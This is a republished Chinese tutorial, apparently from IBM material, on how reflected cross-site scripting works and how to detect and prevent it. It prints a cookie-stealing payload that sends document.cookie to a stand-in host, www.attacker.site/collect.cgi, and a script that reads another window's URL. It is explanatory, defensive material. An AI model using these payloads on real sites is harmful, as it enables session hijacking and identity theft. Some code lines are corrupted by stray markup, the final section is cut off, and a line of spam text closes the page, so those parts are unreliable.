使用IBM Rational AppScan捕獲跨站點腳本攻擊

發表于:2010-08-05來源:作者:點擊數: 標簽:ibmIBM腳本rationalRATIONAL
了解黑客如何啟動跨站點腳本攻擊(cross-site scripting,XSS),該攻擊危害(及不危害)什么,如何檢測它們,以及如何防止您的 Web 站點和站點的訪問者受到這些針對隱私和 安全 的惡意入侵。 在跨站腳本攻擊中會發生什么 跨站腳本攻擊(cross-site scripting,簡

  了解黑客如何啟動跨站點腳本攻擊(cross-site scripting,XSS),該攻擊危害(及不危害)什么,如何檢測它們,以及如何防止您的 Web 站點和站點的訪問者受到這些針對隱私和安全的惡意入侵。

  在跨站腳本攻擊中會發生什么

  跨站腳本攻擊(cross-site scripting,簡稱 XSS),是黑客用來潛入 Web 應用程序的最普遍的應用程序層攻擊之一。XSS 是針對特殊 Web 站點的客戶隱私的攻擊,當客戶詳細信息失竊或受控時可能引發徹底的安全威脅。大部分網站攻擊只涉及兩個群體:黑客和 Web 站點,或者黑客和客戶端受害者。與那些攻擊不同的是,XSS 攻擊同時涉及三個群體:黑客、客戶端和 Web 站點。

  XSS 攻擊的目的是盜走客戶端 cookies,或者任何可以用于在 Web 站點確定客戶身份的其他敏感信息。手邊有了合法用戶的標記,黑客可以繼續扮演用戶與站點交互,從而冒充用戶。舉例來說,在對一個大型公司的調查中表明,利用 XSS 攻擊窺視用戶的信用卡號碼和私有信息是可能的。這是通過利用 Web 站點的訪問特權,在受害者(客戶端)瀏覽器上運行惡意的 JavaScript 代碼來實現的。這些是非常有限的 JavaScript 特權,除了與站點相關的信息,一般不允許腳本訪問其他任何內容。重點強調的是,雖然 Web 站點上存在安全漏洞,但是 Web 站點從未受到直接傷害。但是這已經足夠讓腳本收集 cookies,并且將它們發送給黑客。因此,黑客獲得 cookies 并冒充受害者。

  XSS 技術的深入解析

  讓我們調用受攻擊的站點:www.vulnerable.site。傳統的 XSS 攻擊的核心處位于脆弱的站點中的脆弱的腳本。這些腳本讀取部分 HTTP 請求(通常是參數,但有時也有 HTTP 頭域或路徑),并且在首次不加密的情況下全部或部分地將其回送給響應頁面(因而,不確保它不包含 JavaScript 代碼或 HTML 標簽)。因此,假設該腳本名為 welcome.cgi,其參數為 name??梢酝ㄟ^以下方式進行操作:

MILY: 'Andale Mono', 'Lucida Console', Monaco, fixed, monospace; MARGIN-BOTTOM: 0px; FONT-SIZE: 11px" class="displaycode">  GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0 
  Host: www.vulnerable.site 
    

  響應是:

  <HTML> 
  <Title>Welcome!</Title> 
  Hi Joe Hacker <BR> 
  Welcome to our system 
  ... 
  </HTML>

  這是怎樣被盜用的呢?黑客設法引誘受害客戶點擊他們提供給用戶的鏈接。這是一個精心設計且蓄含惡意的鏈接,誘使受害者的 Web 瀏覽器訪問站點(www.vulnerable.site),并調用入侵腳本。該腳本的數據里包含了用于非法訪問客戶端瀏覽器為 www.vulnerable.site 站點所存儲 cookies 的 JavaScript。這是允許的,因為客戶端瀏覽器“運行過”來自 www.vulnerable.site 的 JavaScript,并且 JavaScript 安全模型允許來自特殊站點的腳本訪問屬于該站點的 cookies。

  這樣的鏈接如下:

http://www.vulnerable.site/welcome.cgi?name=<script>alert(document.cookie)</script> 
      

  受害者點擊鏈接之后將生成對 www.vulnerable.site 的請求,如下所示:

  GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0 
  Host: www.vulnerable.site ... 

  脆弱的站點的響應是:

  <HTML> <Title>Welcome!</Title> Hi <script>alert(document.cookie)</script> 
  <BR> Welcome to our system ... 
  </HTML> 
  

  受害者客戶端的瀏覽器將把該響應解釋為包含一段 JavaScript 代碼的 HTML 頁面。當執行時,該代碼被允許訪問所有屬于 www.vulnerable.site 的 cookies。因此,它將在客戶端瀏覽器中彈出一個窗口,顯示屬于 www.vulnerable.site 的所有客戶端 cookies。

  當然,真正的惡意攻擊包含了將這些 cookies 發送給黑客的操作。對此,黑客可能建立 Web 站點(www.attacker.site)并使用腳本來接收 cookies。替代彈出窗口,黑客會書寫訪問 www.attacker.site 的 URL 的代碼,從而調用接收 cookie 的腳本,其參數設置為被竊取的 cookies。這樣,黑客可以從 www.attacker.site 服務器上獲得 cookies。

  惡意的鏈接會是:

http://www.vulnerable.site/welcome.cgi?name=<script>window.open
("http://www.attacker.site/collect 
  .cgi?cookie="%2Bdocument.cookie)</script> 
      

  響應頁面看起來像這樣:

  <HTML> <Title>Welcome!</Title> Hi 
  <script>window.open("http://www.attacker.site/collect.cgi?cookie=
"+document.cookie)</script> 
  <BR> 
  Welcome to our system ... </HTML> 
    

  加載該頁面的瀏覽器會立即執行內嵌的 JavaScript,并向 www.attacker.site 中的 collect.cgi 腳本發送請求,并附帶著瀏覽器已經擁有的 www.vulnerable.site 的 cookies 的值。這樣就泄漏了客戶端所擁有的 www.vulnerable.site 的 cookies。這將允許黑客冒充受害者??蛻舻碾[私就完全被破壞了。

  注意:

  引發 JavaScript 彈出窗口的出現通常足夠說明該站點容易受到 XSS 攻擊。如果可以調用 JavaScript Alert 方法,那么通常沒理由 window.open 調用不成功。這就是為什么大部分 XSS 攻擊的實例使用 Alert 方法,因為這很容易檢測其成功。

  范圍和可行性

  攻擊只會在受害者用于訪問站點(www.vulnerable.site)的同一個瀏覽器中發生。黑客需要強迫客戶端訪問惡意鏈接。這會以以下這些方式進行:

  黑客發送包含強迫瀏覽器訪問該鏈接的 HTML 頁面的電子郵件消息。這要求受害者使用 HTML 有效的電子郵件客戶端,并且客戶端的 HTML 閱讀器是用于訪問 www.vulnerable.site 的同一個瀏覽器。

  客戶端訪問可能受黑客運作的站點,其中的圖片鏈接或其他激活的 HTML 強迫瀏覽器訪問該鏈接。再次聲明,必須要求瀏覽器與訪問該站點和 www.vulnerable.site 的是同一個瀏覽器。

  惡意的 JavaScript 可以訪問任何下列信息:

  瀏覽器維護的(www.vulnerable.site 的)永久 cookies

  瀏覽器實例維護的(www.vulnerable.site 的)RAM cookies,但只有當最近瀏覽 www.vulnerable.site 時發生。

  為 www.vulnerable.site 打開的其他窗口的名稱

  可以通過當前的 DOM 訪問的任何信息(如值、HTML 代碼,等等)

  身份識別、驗證和授權標志通常以 cookies 形式維護。如果這些 cookies 是永久的,那么即使不在訪問 www.vulnerable.site 的時候使用瀏覽器,受害者也是易受攻擊的。然而,如果 cookies 是臨時的,例如 RAM cookies,那么客戶端必須處于訪問 www.vulnerable.site 的會話中。

  身份識別標志的另一種可能的實現是通過 URL 參數。在這種情況下,可以用這種方式使用 JavaScript 訪問其他窗口(假設帶有必要的 URL 參數的頁面的名稱為 foobar):

<script>var victim_window=open(",'foobar');alert('Can aclearcase/" target="_blank" >ccess: 
' +victim_window.location.search)</script> 
           

  跨站點腳本攻擊的多種情形

  除了 ,黑客可以使用 。這對于過濾 ,還可以使用 

原文轉自:http://www.anti-gravitydesign.com

国产97人人超碰caoprom_尤物国产在线一区手机播放_精品国产一区二区三_色天使久久综合给合久久97